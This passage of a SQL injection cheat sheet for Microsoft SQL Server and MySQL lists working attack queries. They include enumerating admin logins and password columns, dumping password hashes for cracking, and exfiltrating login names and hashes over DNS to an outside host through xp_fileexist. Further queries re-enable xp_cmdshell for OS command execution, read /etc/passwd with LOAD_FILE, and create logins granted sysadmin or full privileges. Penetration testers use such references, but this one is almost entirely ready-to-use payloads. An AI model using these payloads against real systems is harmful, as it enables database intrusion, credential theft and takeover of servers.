SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005

Current Database SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;

SELECT DB_NAME(N); — for N = 0, 1, 2, …

List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views

SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

Find Tables From Column Name – NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
Bitwise AND SELECT 6 & 2 — returns 2

SELECT 6 & 1 — returns 0

ASCII Value -> Char SELECT char(0×41) — returns A
Char -> ASCII Value SELECT ascii(‘A’) – returns 65
Casting SELECT CAST(’1′ as int);

SELECT CAST(1 as char)

String Concatenation SELECT ‘A’ + ‘B’ – returns AB
If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes SELECT char(65)+char(66) — returns AB
Time Delay  WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.

– Also check out theDNS tunnel feature of sqlninja

Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:

EXEC sp_configure ‘show advanced options’, 1; — priv

RECONFIGURE; — priv

EXEC sp_configure ‘xp_cmdshell’, 1; — priv

RECONFIGURE; — priv

Local File Access CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM ‘c:boot.ini’;

DROP TABLE mydata;

Hostname, IP Address SELECT HOST_NAME()
Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users EXEC sp_droplogin ‘user’; — priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB files EXEC sp_helpdb master; –location of master.mdf

EXEC sp_helpdb pubs; –location of pubs.mdf

Default/System Databases northwind

model

msdb

pubs — not on sql server 2005

tempdb

 

MySQL SQL Injection Cheat Sheet

Version SELECT @@version
Comments SELECT 1; #comment

SELECT /*comment*/1;

Current User SELECT user();

SELECT system_user();

List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0

SELECT distinct(db) FROM mysql.db — priv

List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2

SELECT 6 & 1; # returns 0

ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);

SELECT cast(’123′ AS char);

String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB

SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));

SELECT SLEEP(5); # >= 5.0.12

Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.

SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Hostname, IP Address SELECT @@hostname;
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)

mysql